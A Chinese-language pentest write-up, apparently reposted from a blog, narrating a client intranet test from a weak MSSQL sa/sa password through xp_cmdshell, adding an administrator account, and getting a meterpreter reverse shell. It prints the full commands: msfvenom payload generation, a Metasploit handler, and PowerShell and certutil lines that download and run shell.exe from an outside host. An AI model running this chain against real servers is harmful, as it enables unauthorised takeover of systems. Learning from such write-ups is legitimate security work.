【实战3】记一次内网中反弹shell的艰难历程

0x00 前言

最近在客户现场对内网服务器进行渗透测试,发现了大量的弱口令,本次历程就是从这里开始···

0x01 弱口令

对目标ip进行端口扫描,开放端口为80,445,1433,3389
- 访问80端口,只是一个安装成功的界面,扫描一下目录看是否有源码泄露,无果
- 使用nmap脚本对445端口进行扫描,看是否存在ms17010等漏洞,无果
- 使用超级弱口令工具爆破1433,爆破成功,账号密码:sa/sa
- 同时对3389端口进行爆破,无果

因此确定了突破口,使用navicat成功连接sql server数据库

0x02 连接3389

翻了一下,没什么数据,尝试拿服务器吧,因此直接新建查询,开启xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

然后执行命令

exec master..xp_cmdshell "whoami";


是system权限,和想象中的一样
3389是开着的,不如加个用户直接连接远程桌面吧


加强密码强度,重新添加

exec master..xp_cmdshell "net user test paperpen123. /add";
exec master..xp_cmdshell "net localgroup administrators test /add";


一切都很顺利,开始连接3389,但遗憾的是



是win7,只允许单用户登录,如果挤他的话被发现就不能继续玩耍了,还是放弃连接3389吧

0x03 powershell下载木马

我还是把shell弹到本地来吧,方便操作,但是说着简单,该怎么弹呢?
需要强调一点,这里的内网不可以访问外网,因此无法使用命令从外网下载工具
那么可以这样,让他从我的本地服务器下载工具到他的服务器上就可以了
但是要关闭本机防火墙,执行后访问失败才想起来。我的ip是195.1.7.23
使用kali生成exe木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe


本地phpstudy快速搭建环境
将shell.exe放到网站根目录下,链接为http://195.1.7.23/shell.exe
本地监听8888端口

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 195.1.7.23
LHOST => 195.1.7.23
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > exploit


一切准备就绪,就差服务器执行shell.exe文件了。接下来的命令,大多是我朋友Calendula提供的,感谢一下
经测试,powershell是可以执行命令的,因此执行朋友Calendula给的下载命令

exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient";
exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";


这两句本可以合并到一起执行,但是前面尝试执行其他命令时发现有长度限制


所以拆分进行执行,但是遗憾的是



DownloadFile无法使用,具体因为什么也没搞清楚,因此放弃了这种方法

0x04 证书下载

朋友Calendula又给我提供了一种思路,使用certutil.exe,顿时惊呆、闻所未闻,命令如下:

exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';


使用dir查看,发现成功下载到了服务器上


0x05 反弹成功

就差一步了,输入下面的命令并紧张地点击了执行

exec master..xp_cmdshell 'shell.exe';


卡住了···,又执行了一遍,又卡住了···,又执行了一遍,什么情况···
回到监听界面,打算按下ctrl+c重新监听,结果进了meterpreter界面,原来是它卡住了···


激动地截了张图


查看了一下是不是域环境



没错是的,看来还有很长的路要走。。

0x06 结语

这次就写到这吧,如有进展,还会更新。欢迎各位师傅们留言讨论,互相交流,互相学习,共同进步。

猜你喜欢

转载自www.cnblogs.com/paperpen/p/11469827.html
今日推荐